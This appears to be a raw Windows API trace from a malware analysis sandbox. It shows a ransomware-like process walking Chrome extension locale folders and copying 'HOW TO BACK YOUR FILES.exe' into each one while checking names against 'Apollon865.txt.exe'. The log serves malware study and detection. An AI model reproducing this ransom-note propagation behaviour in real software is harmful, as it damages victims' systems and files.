	[0049.243] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr"
	[0049.243] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.247] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356c6770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356c6770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.247] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.247] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.247] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil"
	[0049.247] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil"
	[0049.247] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.247] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.252] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.252] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356c6770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356c6770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.252] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.252] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.252] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi"
	[0049.252] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi"
	[0049.252] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.252] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.256] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.256] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356ec8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356ec8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.256] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.256] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.256] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es"
	[0049.256] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es"
	[0049.256] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.256] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.261] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.261] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356ec8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356ec8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.261] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.261] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.261] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en"
	[0049.261] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en"
	[0049.261] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.261] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.265] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.265] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356ec8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356ec8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.265] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.265] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.266] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el"
	[0049.266] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el"
	[0049.266] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.266] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.270] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35712a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35712a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.270] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.270] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.270] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de"
	[0049.271] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de"
	[0049.271] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.271] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.274] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35712a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35712a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.275] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.275] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.275] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da"
	[0049.275] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da"
	[0049.275] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.275] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.280] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35712a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35712a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.280] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.280] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.280] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs"
	[0049.280] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs"
	[0049.280] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.284] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
